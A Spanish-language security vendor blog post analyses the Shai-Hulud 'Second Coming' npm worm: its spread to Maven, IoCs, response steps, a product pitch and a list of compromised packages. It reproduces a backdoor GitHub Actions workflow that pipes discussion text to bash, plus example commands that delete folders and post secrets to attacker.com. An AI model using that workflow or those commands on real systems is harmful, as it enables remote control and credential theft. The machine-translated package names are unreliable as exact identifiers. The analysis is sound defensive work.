TL; DR
El 24 de noviembre de 2025, los investigadores descubrieron Shai Hulud: La segunda venida, una nueva ola de la Ataque a la cadena de suministro de NPM que reinfecta paquetes npm, roba credenciales y se propaga entre las máquinas de los desarrolladores y CI/CD pipelines. A diferencia del primer incidente, esta versión instala el entorno de ejecución de Bun sobre la marcha, implementa puertas traseras ocultas de GitHub Actions e incluye un limpiador destructivo capaz de borrar directorios de inicio completos en Linux, macOS y Windows. En cuestión de horas, el número de paquetes comprometidos superó los 830, lo que confirma que no se trata de una variante simple, sino de una escalada importante del problema. gusano original.
ImpactoCualquier desarrollador o ejecutor de CI que instale paquetes npm públicos podría haber estado expuesto. Los equipos de Java también están en riesgo después de que los paquetes infectados se reflejaran automáticamente en Maven Central.
Acciones inmediatas: bloquear versiones maliciosas conocidas, implementar instalaciones solo de archivo de bloqueo, rotar credenciales de npm, GitHub y la nube, eliminar ejecutores autohospedados desconocidos y monitorear IoC como setup_bun.js, bun_environment.js y repositorios de GitHub sospechosos que contengan “Sha1-Hulud: The Second Coming”.
Qué cambió: Shai Hulud en el ataque a la cadena de suministro de NPM cuando saltó a Maven
La segunda ola del ataque Shai Hulud supuso una escalada importante. En la primera campaña, el gusano permaneció dentro del ecosistema npm. Esta vez, el malware cruzó a Centro de expertos, exponiendo a los equipos de Java que nunca tocaron npm.
Línea de tiempo y ventana de tokens
El ataque comenzó el 24 de noviembre., justo antes de que npm retirara sus tokens de autenticación heredados en 9 de Diciembre.
Estos tokens antiguos eran más fáciles de robar y reutilizar. Como los atacantes aún tenían acceso a ellos durante este periodo, pudieron republicar cientos de versiones maliciosas a gran velocidad antes del corte.
Cómo llegó el malware a Maven
El salto entre registros se produjo debido a mvnpm, una herramienta de duplicación automatizada que convierte paquetes npm en artefactos Maven.
mvnpm no realiza comprobaciones de seguridad. Simplemente reempaqueta lo que npm publica.
Como resultado:
- Un paquete npm comprometido (por ejemplo nodo-posthog@4.18.1)
- Se convirtió automáticamente en un artefacto Maven
org.mvnpm:posthog-node:4.18.1 - Y se publicó en Maven Central antes de que alguien se diera cuenta de que estaba infectado.
Esto significa Los desarrolladores de Java fueron víctimas de una violación de npm, incluso si nunca instalaron un paquete npm.
¿Por qué este Matters
Este es el primer gusano de registro cruzado conocido, donde un ataque a la cadena de suministro se propaga de un ecosistema a otro únicamente mediante la automatización.
Debido a esto, el radio de explosión ahora incluye Java, cargas de trabajo JVM y enterprise Construir sistemas que se basan en Maven Central.
¿Qué hace que Shai Hulud 2.0 sea tan serio?
Tiempo de ejecución de Bun utilizado para evadir la detección
Los atacantes cambiaron de Node.js al entorno de ejecución de Bun. El malware instala Bun sobre la marcha a través de setup_bun.js Durante la instalación del paquete. Esto evita la monitorización específica del nodo y permite a los atacantes una ejecución más rápida para una carga ofuscada muy grande.
Acciones de GitHub utilizadas como puerta trasera de comandos
Una vez instalado, el malware crea un ejecutor autohospedado oculto de GitHub Actions en $INICIO/.dev-env/Esto funciona en Windows, macOS y Linux. Los atacantes pueden ejecutar comandos simplemente publicando mensajes en las discusiones de GitHub de un repositorio comprometido. Un archivo de flujo de trabajo procesa esos mensajes y los ejecuta como comandos de shell.
Limpiaparabrisas incorporado
Si el malware no puede autenticarse con GitHub o npm, borra el directorio de inicio de la víctima.
- En Windows se utiliza del, rd y cifrado /W para borrar archivos.
- En Linux y macOS sobrescribe los datos con hacer trizas y luego elimina directorios.
Una campaña muy ruidosa
Aunque el malware emplea cierto sigilo (por ejemplo, mediante el uso de Bun), la campaña en general es todo menos silenciosa. Republica agresivamente los paquetes comprometidos, crea cientos o miles de nuevos repositorios, carga volcados de credenciales masivamente e instala ejecutores autoalojados de larga duración en las máquinas de los desarrolladores. Nada de esto es un comportamiento discreto. La escala, la velocidad y la "sonoridad" operativa de este ataque destacan en comparación con la mayoría de las vulneraciones de la cadena de suministro, que tienden a priorizar pasar desapercibidos el mayor tiempo posible..
Amplio impacto
Los atacantes comprometieron muchos paquetes conocidos con millones de descargas mensuales, incluidos:
Zapier, dominios ENS, Postman, PostHog, AsyncAPI y Voiceflow.
Posibles señales de atribución
La atribución es difícil en este caso, y no existe una fuente confirmada detrás de la campaña. Una importante empresa de seguridad señala que la operación se asemeja al gusano Shai-Hulud, pero las diferencias en la construcción de la carga útil y la propagación del malware apuntan a la posibilidad de que se trate de un conjunto diferente de operadores. Su evaluación destaca que varios entornos descargaron los paquetes comprometidos antes de que npm los eliminara, lo que sugiere una exposición real en lugar de una prueba de corta duración.
Dado que las tácticas imitan la primera oleada, pero difieren en aspectos clave, especialmente en la estructura de la carga útil, la lógica de propagación y el estilo operativo, es plausible un escenario de imitación. Los atacantes podrían haber tomado ideas de Shai-Hulud, pero haber implementado sus propias herramientas. Esto podría indicar que otro grupo intenta imitar por completo la campaña anterior.
En este momento, no hay pruebas sólidas que lo vinculen con ningún actor conocido, grupo con motivaciones financieras o entidad vinculada al estado. La coincidencia con el gusano original es real, pero las diferencias son lo suficientemente importantes como para mantener la atribución en la categoría de "sin confirmar".
Difundir en Maven
Una importante empresa de seguridad confirmó que los paquetes npm maliciosos se republicaron automáticamente en Maven a través de mvnpm, una herramienta que convierte paquetes npm en artefactos Maven sin revisión manual.
El siguiente paquete fue enviado a Maven Central: org.mvnpm:posthog-node:4.18.1
Debido a que mvnpm simplemente vuelve a empaquetar todo lo que npm publica, las versiones infectadas se reflejaron en el ecosistema Java antes de que alguien se diera cuenta.
Maven Central eliminó los artefactos afectados el 25 de noviembre de 2025 y comenzó a reforzar los controles para evitar problemas similares entre registros.
Esto significa que los proyectos Java sin conexión directa con npm aún podrían haber quedado expuestos.
Cómo funciona el ataque Shai Hulud 2.0
Flujo de infección
- un malicioso preinstalación Se añade el script a package.json.
- setup_bun.js Instala Bun en la máquina de la víctima si falta.
- bun_environment.js (más de 480k líneas de código ofuscado) se ejecuta en segundo plano.
- El malware escanea las credenciales utilizando técnicas similares a TruffleHog. Busca...
- Claves de AWS, GCP y Azure
- Tokens de GitHub
- tokens npm
- Sistema CI Secretos
- Claves de AWS, GCP y Azure
- Los datos robados se cargan en repositorios públicos de GitHub que tienen la descripción “Sha1-Hulud: The Second Coming”.
- Utilizando tokens capturados, el malware publica versiones comprometidas de paquetes, infecta repositorios de GitHub accesibles e instala ejecutores autohospedados persistentes para la ejecución remota de código.
Flujos de trabajo maliciosos de GitHub
Durante la segunda ola del ataque a la cadena de suministro de NPM de Shai-Hulud, el malware creado Dos flujos de trabajo ocultos de GitHub Actions Dentro de repositorios comprometidos. Estos flujos de trabajo ofrecen a los atacantes ejecución remota de código, persistencia a largo plazo y acceso total a los secretos del sistema.
1. Flujo de trabajo de puerta trasera (discussion.yaml)
El flujo de trabajo más peligroso escucha Debates de GitHub eventos. Cuando se crea o edita un mensaje de discusión, el flujo de trabajo lee el cuerpo del mensaje y lo ejecuta como un comando de shell en la máquina de la víctima.
A continuación se muestra una versión simplificada del flujo de trabajo malicioso, reconstruido a partir de muestras observadas:
# .github/workflows/discussion.yaml
name: Discussion Backdoor
on:
discussion:
types: [created, edited]
jobs:
exec:
runs-on: self-hosted
steps:
- name: Execute attacker command
run: |
echo "${{ github.event.discussion.body }}" | bash
La línea crítica es:
${{ github.event.discussion.body }}
Esto significa que el atacante puede publicar cualquier comando dentro de una discusión de GitHub, y el ejecutor autoalojado lo ejecuta inmediatamente. Dado que los ejecutores autoalojados suelen tener acceso a redes internas, credenciales de la nube y secretos de CI, esta puerta trasera permite al atacante la ejecución remota completa del código durante el ataque a la cadena de suministro de NPM de Shai Hulud.
Explotación de la inyección de comandos
Este flujo de trabajo abusa del procesamiento de expresiones en GitHub Actions. En lugar de restringir la entrada a cadenas seguras, lee el contenido de la discusión sin procesar y lo envía directamente al shell. Como resultado, el atacante solo necesita publicar un mensaje como:
rm -rf /important/folder
curl -X POST https://attacker.com --data @Secretos.json
Debido a que este comportamiento apareció repetidamente durante el ataque a la cadena de suministro de NPM de Shai Hulud, se convirtió en una de las señales más claras de que el malware estaba utilizando GitHub Actions como un canal de comando remoto.
Los ejecutores autoalojados empeoran esto porque:
- ejecutar dentro de las redes de la empresa
- mantener la nube o CI/CD Cartas credenciales
- ejecutar con los permisos del usuario
- No tienen el entorno sandbox ni el aislamiento de GitHub
Esto proporciona a los atacantes un canal de comando persistente hacia entornos internos.
Flujo de trabajo de recopilación de secretos y sistemas
Además de la puerta trasera, el malware implementa otro flujo de trabajo cuyo objetivo es recopilar y almacenar datos confidenciales del sistema infectado.
Estos flujos de trabajo reúnen:
- credenciales en la nube
- Variables de entorno
- listados de directorios
- Escaneos de Secreto al estilo TruffleHog
Almacenan los datos recopilados en archivos como:
- nube.json
- entorno.json
- contenido.json
- trufaSecretos.json
Estos archivos luego se cargan en repositorios de GitHub controlados por atacantes etiquetados como “Sha1-Hulud: La Segunda Venida”, donde se observaron cientos o miles de vertederos.
Indicadores de compromiso
| Archive | SHA256 |
|---|---|
| setup_bun.js | a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a |
| bun_environment.js | 62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0 |
Otras señales de alerta
- .github/workflows/discussion.yaml
- $INICIO/.dev-env/ que contiene corredores inesperados
- Repositorios públicos de GitHub creados en su cuenta que contienen “Sha1-Hulud: The Second Coming”
Métricas actualizadas (al 26 de noviembre de 2025)
| Métrico | Contar |
|---|---|
| Paquetes npm comprometidos | 830+ |
| Repositorios de GitHub infectados | 28,000+ |
| Archivos secretos subidos | 5,000+ |
| Total Secretos recopilados | 11,858 |
| Secretos válidos | 2,298 |
Qué hacer ahora: Respondiendo al ataque a la cadena de suministro de NPM de Shai Hulud
El ataque a la cadena de suministro de NPM de Shai Hulud requiere una respuesta rápida y estructurada. Dado que esta segunda ola se extiende a npm, GitHub, las máquinas de los desarrolladores e incluso Maven Central, los equipos deben actuar con rapidez para detectar, contener y remediar por completo cualquier exposición. Los pasos a continuación le ayudarán a reaccionar en el orden correcto y a reducir el riesgo de una mayor vulnerabilidad.
Detección
- Busca en GitHub repositorios con la descripción “Sha1-Hulud: The Second Coming”.
- Busque los registros de instalación de Bun durante la instalación de paquetes.
- Inspeccione los archivos package.json en busca de scripts de ciclo de vida inesperados, especialmente preinstalación.
- Comprueba si hay $INICIO/.dev-env/ en sistemas de desarrolladores o CI.
- Revise los registros de publicación de GitHub y npm para detectar versiones sospechosas.
Contención
- Rotar todas las credenciales: GitHub, npm, nube, CI Secretos, claves API.
- Deshabilitar y eliminar ejecutores auto hospedados desconocidos.
- Bloquear la creación de repositorios temporalmente.
- Elimine las versiones infectadas de su gráfico de dependencia.
Remediación
- Limpiar los sistemas afectados.
- Revise todos los flujos de trabajo de GitHub Actions en busca de archivos inyectados.
- Busque en sus registros de CI comandos o ejecuciones inusuales.
Reconstruir a partir de versiones de paquetes que se sabe que son buenas.
Cómo Xygeni ayuda a detener ataques como el de la Segunda Venida de Shai-Hulud
Tras una campaña tan agresiva como la Segunda Venida de Shai-Hulud, los equipos necesitan más que comprobaciones manuales. Necesitan protección automatizada que bloquee el malware antes de que llegue a los desarrolladores, los ejecutores de CI o los sistemas de producción. Aquí es donde Xygeni ofrece una gran ventaja.
Alerta temprana de malware (MEW): detecta amenazas antes de que se propaguen
El motor de alerta temprana de Xygeni analiza paquetes de código abierto nuevos y actualizados en tiempo real. Detecta comportamientos sospechosos como:
- JavaScript ofuscado o código empaquetado masivo
- Scripts de ciclo de vida que instalan entornos de ejecución externos como Bun
- Conexiones inesperadas a GitHub, npm o puntos finales en la nube
- Cuentagotas que escriben en
$HOME,.dev-env/o carpetas de flujo de trabajo
MEW detectó patrones utilizados en ambas oleadas de Shai-Hulud, lo que ayuda a los equipos a reaccionar antes de que los atacantes propaguen aún más la infección.
Guardrails in CI/CD bloquear paquetes maliciosos
Xygeni hace cumplir guardrails que detienen automáticamente las operaciones inseguras:
- CI pipelines no puede instalar paquetes con scripts de preinstalación o postinstalación ocultos
- Las compilaciones fallan cuando un paquete intenta crear flujos de trabajo como
.github/workflows/discussion.yaml - Pipelines rechaza dependencias publicadas desde fuentes no confiables o cuentas vistas por primera vez
Esto reduce drásticamente la superficie de ataque y evita que el malware se ejecute dentro de los trabajos de CI.
Secretos Protection reduce el radio de explosión
Dado que Shai-Hulud roba claves de la nube, tokens de GitHub, tokens de npm y secretos de CI, la protección también debe centrarse en las credenciales. Xygeni:
- Detecta secretos expuestos dentro del código, registros, flujos de trabajo y archivos de entorno.
- Rota automáticamente las credenciales de alto riesgo
- Aplica tokens de corta duración para limitar el compromiso a largo plazo
Incluso si un atacante obtiene acceso inicial, las claves robadas se vuelven inútiles rápidamente.
Notas finales: Por qué el ataque a la cadena de suministro de Shai Hulud NPM sigue siendo importante
El proceso de Segunda Venida de Shai-Hulud El incidente muestra con qué facilidad un moderno Ataque a la cadena de suministro de NPM puede moverse entre ecosistemas. En este caso, el malware saltó de npm a Maven porque las herramientas de duplicación automatizadas como mvnpm republicaron paquetes comprometidos sin verificación. Como resultado, los equipos de Java quedaron expuestos incluso si nunca usaron npm directamente. Esto deja claro que los flujos de trabajo entre registros requieren una revisión inmediata y medidas de seguridad más estrictas.
Además, la escala y el comportamiento de esta campaña revelan cómo operan los atacantes hoy en día. En lugar de permanecer en silencio, publican cientos de paquetes a la vez, implementan ejecutores ocultos de GitHub, roban Secretos en masa e incluso incluyen un limpiador destructivo si algo falla. En consecuencia, las revisiones manuales no pueden seguir el ritmo de este nivel de automatización y velocidad. Los equipos necesitan protección continua y en tiempo real en el paquete, el origen y... pipeline capas.
¿Por qué Continuo? Pipeline Security Ahora es esencial
Ataques como Segunda Venida de Shai-Hulud seguirá evolucionando. Por lo tanto, prevenir la próxima ola requiere controles que funcionen automáticamente dentro CI/CDNo después del ataque. La defensa moderna debe combinar la detección temprana de malware, la validación estricta de dependencias, la aplicación de políticas y la protección Secreto para que el código malicioso no pueda pasar desapercibido en los entornos de desarrollo.
Xygeni apoya este cambio al ofrecer automatización guardrails En toda la cadena de suministro de software. Identifica paquetes sospechosos antes de la instalación, impone versiones de dependencia seguras, bloquea flujos de trabajo inseguros, detecta secretos expuestos y alerta sobre eventos inusuales. pipeline Actividad. Como resultado, los equipos se mantienen protegidos incluso cuando los ataques a la cadena de suministro se propagan rápidamente y cruzan los límites del ecosistema.
Lista de paquetes comprometidos
Los paquetes afectados también se pueden consultar mediante el #shai-hulud / #shai-hulud-segunda-venida etiqueta dentro OpenSourceMalware.com
| PREMIUM | Versión |
|---|---|
| 02-eco | 0.0.7 |
| @accordproject/análisis de conciertos | 3.24.1 |
| @accordproject/concierto-linter | 3.24.1 |
| @accordproject/concerto-linter-conjunto-de-reglas-predeterminadas | 3.24.1 |
| @accordproject/concierto-metamodelo | 3.12.5 |
| @accordproject/tipos-de-concierto | 3.24.1 |
| @accordproject/rebaja-en-cicero | 0.16.26 |
| @accordproject/motor-de-plantillas | 2.7.2 |
| @actbase/transformación de CSS a React Native | 1.0.3 |
| @actbase/nativo | 0.1.32 |
| @actbase/servidor-de-nodos | 1.1.19 |
| @actbase/react-absolute | 0.8.3 |
| @actbase/react-daum-código postal | 1.0.5 |
| @actbase/react-kakaosdk | 0.9.27 |
| @actbase/hoja-de-acción-de-react-native | 1.0.3 |
| @actbase/react-native-devtools | 0.1.3 |
| @actbase/imagen-rápida-de-react-native | 8.5.13 |
| @actbase/canal-de-react-native-kakao | 1.0.2 |
| @actbase/react-native-kakao-navi | 2.0.4 |
| @actbase/transformador sin react-native | 1.0.6 |
| @actbase/react-native-naver-login | 1.0.1 |
| @actbase/react-native-simple-video | 1.0.13 |
| @actbase/react-native-tiktok | 1.1.3 |
| @alexcolls/nuxt-socket.io | 0.0.7, 0.0.8 |
| @alexcolls/nuxt-ux | 0.6.2, 0.6.1 |
| @antstackio/eslint-config-antstack | 0.0.3 |
| @antstackio/express-graphql-proxy | 0.2.8 |
| @antstackio/analizador corporal graphql | 0.1.1 |
| @antstackio/json-a-graphql | 1.0.3 |
| @antstackio/shelbysam | 1.1.7 |
| @aryanhussain/mi-lib-angular | 0.0.23 |
| @asyncapi/plantilla dotnet-rabbitmq | 1.0.2, 1.0.1 |
| @asyncapi/edavisualiser | 1.2.2, 1.2.1 |
| @asyncapi/go-watermill-template | 0.2.76, 0.2.77 |
| @asyncapi/plantilla-java | 0.3.6, 0.3.5 |
| @asyncapi/keeper | 0.0.3, 0.0.2 |
| @asyncapi/plantilla-php | 0.1.2, 0.1.1 |
| @asyncapi/plantilla-python-paho | 0.2.15, 0.2.14 |
| @asyncapi/api-del-servidor | 0.16.25, 0.16.24 |
| @asyncapi/estudio | 1.0.3, 1.0.2 |
| @asyncapi/componente web | 2.6.7, 2.6.6 |
| @browserbasehq/bb9 | 1.2.21 |
| @browserbasehq/director-ai | 1.0.3 |
| @browserbasehq/mcp | 2.1.1 |
| @browserbasehq/servidor-mcp-browserbase | 2.4.2 |
| @browserbasehq/funciones-sdk | 0.0.4 |
| @browserbasehq/stagehand | 3.0.4 |
| @browserbasehq/documentos-de-escenario | 1.0.1 |
| @caretive/caret-cli | 0.0.2 |
| @clausehq/flujos-paso-httprequest | 0.1.14 |
| @clausehq/flujos-paso-jsontoxml | 0.1.14 |
| @clausehq/flujos-paso-mqtt | 0.1.14 |
| @clausehq/flujos-paso-enviargridemail | 0.1.14 |
| @clausehq/flujos-paso-tareascreateurl | 0.1.14 |
| @commute/florecer | 1.0.3 |
| @commute/datos-de-mercado | 1.0.2 |
| @commute/gráfico-de-datos-de-mercado-js | 2.3.1 |
| @dev-blinq/lógica de control de calidad de inteligencia artificial | 1.0.19 |
| @dev-blinq/cucumber-js | 1.0.131 |
| @dev-blinq/cucumber_client | 1.0.738 |
| @dev-blinq/sistemas-de-interfaz | 1.0.93 |
| @ensdomains/codificador-de-direcciones | 1.1.5 |
| @ensdomains/lista negra | 1.0.1 |
| @ensdomains/buffer | 0.1.2 |
| @ensdomains/ccip-read-cf-worker | 0.0.4 |
| @ensdomains/puerta de enlace de DNS de lectura ccip | 0.1.1 |
| @ensdomains/ccip-read-router | 0.0.7 |
| @ensdomains/ccip-read-worker-viem | 0.0.4 |
| @ensdomains/hash-de-contenido | 3.0.1 |
| @ensdomains/curvearithmetics | 1.0.1 |
| @ensdomains/cypress-metamask | 1.2.1 |
| @ensdomains/dnsprovejs | 0.5.3 |
| @ensdomains/anclajes-de-oracle-dnssec | 0.0.2 |
| @ensdomains/dnssecoraclejs | 0.2.9 |
| @ensdomains/durante | 0.1.2 |
| @ensdomains/durin-middleware | 0.0.2 |
| @ensdomains/ens-archivados-contratos | 0.0.3 |
| @ensdomains/ens-avatar | 1.0.4 |
| @ensdomains/ens-contracts | 1.6.1 |
| @ensdomains/ens-test-env | 1.0.2 |
| @ensdomains/ens-validation | 0.1.1 |
| @ensdomains/ensjs | 4.0.3 |
| @ensdomains/ensjs-react | 0.0.5 |
| @ensdomains/eth-ens-namehash | 2.0.16 |
| @ensdomains/hackathon-registrar | 1.0.5 |
| @ensdomains/hardhat-chai-matchers-viem | 0.1.15 |
| @ensdomains/hardhat-toolbox-viem-extended | 0.0.6 |
| @ensdomains/mock | 2.1.52 |
| @ensdomains/envoltorio-de-nombre | 1.0.1 |
| @ensdomains/contratos de resolución fuera de cadena | 0.2.2 |
| @ensdomains/contratos-de-resolución-de-op | 0.0.2 |
| @ensdomains/react-ens-address | 0.0.32 |
| @ensdomains/renovación | 0.0.13 |
| @ensdomains/widget-de-renovación | 0.1.10 |
| @ensdomains/registros-inversos | 1.0.1 |
| @ensdomains/análisis-del-servidor | 0.0.2 |
| @ensdomains/solsha1 | 0.0.4 |
| @ensdomains/registrador-de-subdominio | 0.2.4 |
| @ensdomains/utilidades-de-prueba | 1.3.1 |
| @ensdomains/thorin | 0.6.51 |
| @ensdomains/ui | 3.4.6 |
| @ensdomains/unicode-confusables | 0.1.1 |
| @ensdomains/puertas de enlace no resistentes | 0.0.3 |
| @ensdomains/complemento-vite-i18next-loader | 4.0.4 |
| @ensdomains/web3modal | 1.10.2 |
| @everreal/react-charts | 2.0.1, 2.0.2 |
| @everreal/validar-importaciones-de-interoperabilidad-de-módulos | 1.4.4, 1.4.5 |
| @everreal/analítica web | 0.0.1, 0.0.2 |
| @faq-component/core | 0.0.4 |
| @faq-component/react | 1.0.1 |
| @fishingbooker/complemento de sincronización del navegador | 1.0.5 |
| @fishingbooker/cargador de reacciones | 1.0.7 |
| @fishingbooker/react-pagination | 2.0.6 |
| @fishingbooker/react-raty | 2.0.1 |
| @fishingbooker/react-swiper | 0.1.5 |
| @hapheus/n8n-nodos-pgp | 1.5.1 |
| @hover-design/núcleo | 0.0.1 |
| @hover-design/react | 0.2.1 |
| @ifelsedeveloper/contratos-de-protocolo-svm-idl | 0.1.2 |
| @ifings/sistema-de-diseño | 4.9.2 |
| @ifings/metatron3 | 0.1.5 |
| @kvytech/cli | 0.0.7 |
| @kvytech/componentes | 0.0.2 |
| @kvytech/prueba-de-habito-e2e | 0.0.2 |
| @kvytech/anuncio del complemento medusa | 0.0.8 |
| @kvytech/gestión de complementos de Medusa | 0.0.5 |
| @kvytech/boletín informativo del complemento Medusa | 0.0.5 |
| @kvytech/medusa-plugin-reseñas-de-productos | 0.0.9 |
| @kvytech/promoción del complemento medusa | 0.0.2 |
| @kvytech/web | 0.0.2 |
| @lessondesk/cliente-api | 9.12.3, 9.12.2 |
| @lessondesk/babel-preset | 1.0.1 |
| @lessondesk/cliente-api-del-grupo-electron | 1.0.3 |
| @lessondesk/eslint-config | 1.4.2 |
| @lessondesk/iconos-de-material | 1.0.3 |
| @lessondesk/contexto-de-tabla-de-react | 2.0.4 |
| @lessondesk/autobús escolar | 5.2.2, 5.2.3 |
| @livecms/edición-en-vivo | 0.0.32 |
| @livecms/nuxt-live-edit | 1.9.2 |
| @louisle2/núcleo | 1.0.1 |
| @louisle2/cortex-js | 0.1.6 |
| @lpdjs/servicio-de-repositorio-de-firestore | 1.0.1 |
| @markvivanco/verificador-de-versiones-de-aplicaciones | 1.0.2, 1.0.1 |
| @ntnx/pasaporte-wso2 | 0.0.3 |
| @ntnx/t | 0.0.101 |
| @orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode | 2.0.5 |
| @orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode | 1.1.1 |
| @orbitgtbelgium/componentes-de-la-orbita | 1.2.9 |
| @orbitgtbelgium/controlador-de-tiempo | 1.0.187 |
| @osmanekrem/bmad | 1.0.6 |
| @osmanekrem/controlador de errores | 1.2.2 |
| @posthog/agente | 1.24.1 |
| @posthog/ai | 7.1.2 |
| @posthog/cli | 0.5.15 |
| @posthog/clickhouse | 1.7.1 |
| @posthog/núcleo | 1.5.6 |
| @posthog/modo erizo | 0.0.42 |
| @posthog/iconos | 0.36.1 |
| @posthog/limón-ui | 0.0.1 |
| @posthog/nextjs-config | 1.5.1 |
| @posthog/nuxt | 1.2.9 |
| @posthog/piscina | 3.2.1 |
| @posthog/plugin-contrib | 0.0.6 |
| @posthog/react-rrweb-player | 1.1.4 |
| @posthog/rrdom | 0.0.31 |
| @posthog/rrweb | 0.0.31 |
| @posthog/rrweb-player | 0.0.31 |
| @posthog/rrweb-record | 0.0.31 |
| @posthog/rrweb-replay | 0.0.19 |
| @posthog/rrweb-snapshot | 0.0.31 |
| @posthog/rrweb-utils | 0.0.31 |
| @posthog/siphash | 1.1.2 |
| @posthog/mago | 1.18.1 |
| @cartero/iconos-de-éter | 2.23.4, 2.23.3, 2.23.2 |
| @cartero/csv-parse | 4.0.5, 4.0.3, 4.0.4 |
| @cartero/nodo-keytar | 7.9.6, 7.9.4, 7.9.5 |
| @cartero/agente-de-túnel | 0.6.7, 0.6.6, 0.6.5 |
| @pradhumngautam/aplicación común | 1.0.2 |
| @pruthvi21/use-debounce | 1.0.3 |
| @quick-start-soft/traductor-rápido-de-documentos | 1.4.2511142126 |
| @quick-start-soft/limpieza-rápida-git-markdown | 1.4.2511142126 |
| @inicio-rápido-suave/rebaja-rápida | 1.4.2511142126 |
| @quick-start-soft/composición-de-markdown-rápida | 1.4.2506300029 |
| @quick-start-soft/imagen-de-markdown-rápido | 1.4.2511142126 |
| @inicio-rápido-suave/impresión-rápida-markdown | 1.4.2511142126 |
| @quick-start-soft/traductor-rápido-de-markdown | 1.4.2509202331 |
| @quick-start-soft/eliminación rápida del fondo de la imagen | 1.4.2511142126 |
| @quick-start-soft/refinamiento-de-tarea-rápida | 1.4.2511142126 |
| @relyt/claude-context-core | 0.1.1 |
| @seezo/servidor sdr-mcp | 0.0.5 |
| @seung-ju/siguiente | 0.0.2 |
| @seung-ju/generador-openapi | 0.0.4 |
| @seung-ju/reaccionar-hooks | 0.0.2 |
| @seung-ju/hoja-de-acción-de-react-native | 0.2.1 |
| @sme-ui/aoma-vevasound-metadata-lib | 0.1.3 |
| @strapbuild/selector de fecha y hora de React Native | 2.0.4 |
| @strapbuild/recortador de imágenes en perspectiva de React Native | 0.4.15 |
| @strapbuild/recortador-de-imágenes-en-perspectiva-de-react-native-2 | 0.4.7 |
| @strapbuild/recortador de imágenes en perspectiva de React Native - poojan31 | 0.4.6 |
| @suraj_h/medio-común | 1.0.5 |
| @thedelta/eslint-config | 1.0.2 |
| @tiaanduplessis/json | 2.0.3, 2.0.2 |
| @tiaanduplessis/react-progressbar | 1.0.2, 1.0.1 |
| @trefox/sleekshop-js | 0.1.6 |
| @trigo/atrix | 7.0.1 |
| @trigo/atrix-elasticsearch | 2.0.1 |
| @trigo/atrix-postgres | 1.0.3 |
| @trigo/atrix-pubsub | 4.0.3 |
| @trigo/atrix-soap | 1.0.2 |
| @trigo/atrix-swagger | 3.0.1 |
| @trigo/expresiones-bool | 4.1.3 |
| @trigo/eslint-config-trigo | 3.3.1 |
| @trigo/fsm | 3.4.2 |
| @trigo/hapi-auth-signedlink | 1.3.1 |
| @trigo/pathfinder-ui-css | 0.1.1 |
| @trigo/trigo-hapijs | 5.0.1 |
| @trpc-rate-limiter/cloudflare | 0.1.4 |
| @trpc-limitador-de-velocidad/hono | 0.1.4 |
| @varsityvibe/cliente-api | 1.3.36, 1.3.37 |
| @varsityvibe/utilidades | 5.0.6 |
| @varsityvibe/esquemas-de-validacion | 0.6.7, 0.6.8 |
| @vishadtyagi/calendario-anual completo | 0.1.11 |
| @voiceflow/tipos-de-alexa | 2.15.60, 2.15.61 |
| @voiceflow/antrópico | 0.4.4, 0.4.5 |
| @voiceflow/api-sdk | 3.28.58, 3.28.59 |
| @voiceflow/utilidades-de-backend | 5.0.2, 5.0.1 |
| @voiceflow/tipos-base | 2.136.3, 2.136.2 |
| @voiceflow/analizador corporal | 1.21.2, 1.21.3 |
| @voiceflow/tipos de chat | 2.14.59, 2.14.58 |
| @voiceflow/circleci-config-sdk-orb-import | 0.2.1, 0.2.2 |
| @flujo de voz/commitconfiguración de pelusa | 2.6.2, 2.6.1 |
| @voiceflow/común | 8.9.1, 8.9.2 |
| @voiceflow/envoltorios-de-prompt-predeterminados | 1.7.4, 1.7.3 |
| @voiceflow/configuración-de-dependencia-cruiser | 1.8.12, 1.8.11 |
| @voiceflow/dtos-interact | 1.40.2, 1.40.1 |
| @voiceflow/encriptación | 0.3.3, 0.3.2 |
| @voiceflow/eslint-config | 7.16.4, 7.16.5 |
| @voiceflow/complemento-eslint | 1.6.2, 1.6.1 |
| @voiceflow/excepción | 1.10.2, 1.10.1 |
| @voiceflow/fetch | 1.11.1, 1.11.2 |
| @voiceflow/tipos-generales | 3.2.23, 3.2.22 |
| @voiceflow/git-branch-check | 1.4.4, 1.4.3 |
| @voiceflow/tipos-dfes-de-google | 2.17.12, 2.17.13 |
| @voiceflow/tipos-de-google | 2.21.12, 2.21.13 |
| @voiceflow/husky-config | 1.3.1, 1.3.2 |
| @voiceflow/registrador | 2.4.3, 2.4.2 |
| @voiceflow/métricas | 1.5.2, 1.5.1 |
| @voiceflow/comandante-del-lenguaje-natural | 0.5.2, 0.5.3 |
| @voiceflow/nestjs-common | 2.75.2, 2.75.3 |
| @voiceflow/nestjs-mongodb | 1.3.1, 1.3.2 |
| @voiceflow/nestjs-límite-de-velocidad | 1.3.3, 1.3.2 |
| @voiceflow/nestjs-redis | 1.3.1, 1.3.2 |
| @voiceflow/tiempo de espera de nestjs | 1.3.1, 1.3.2 |
| @voiceflow/npm-package-json-lint-config | 1.1.1, 1.1.2 |
| @voiceflow/openai | 3.2.2, 3.2.3 |
| @voiceflow/pino | 6.11.4, 6.11.3 |
| @voiceflow/pino-pretty | 4.4.2, 4.4.1 |
| @voiceflow/configuración más bonita | 1.10.2, 1.10.1 |
| @voiceflow/react-chat | 1.65.4, 1.65.3 |
| @voiceflow/tiempo de ejecución | 1.29.1, 1.29.2 |
| @voiceflow/cliente-en-tiempo-de-ejecución-js | 1.17.3, 1.17.2 |
| @voiceflow/tiempo de ejecución del SDK | 1.43.2, 1.43.1 |
| @voiceflow/Proveedor de secretos | 1.9.3, 1.9.2 |
| @voiceflow/configuración-de-liberación-semántica | 1.4.2, 1.4.1 |
| @voiceflow/complemento sin servidor-typescript | 2.1.7, 2.1.8 |
| @voiceflow/serializador de pizarra | 1.7.4, 1.7.3 |
| @voiceflow/puntos-de-reacción | 2.3.3, 2.3.2 |
| @voiceflow/libro-de-cuentos-config | 1.2.2, 1.2.3 |
| @voiceflow/stylelint-config | 1.1.1, 1.1.2 |
| @voiceflow/prueba-común | 2.1.1, 2.1.2 |
| @voiceflow/tsconfig | 1.12.2, 1.12.1 |
| @voiceflow/tsconfig-paths | 1.1.5, 1.1.4 |
| @voiceflow/diseñador-de-utilidades | 1.74.19, 1.74.20 |
| @voiceflow/verror | 1.1.5, 1.1.4 |
| @voiceflow/vite-config | 2.6.2, 2.6.3 |
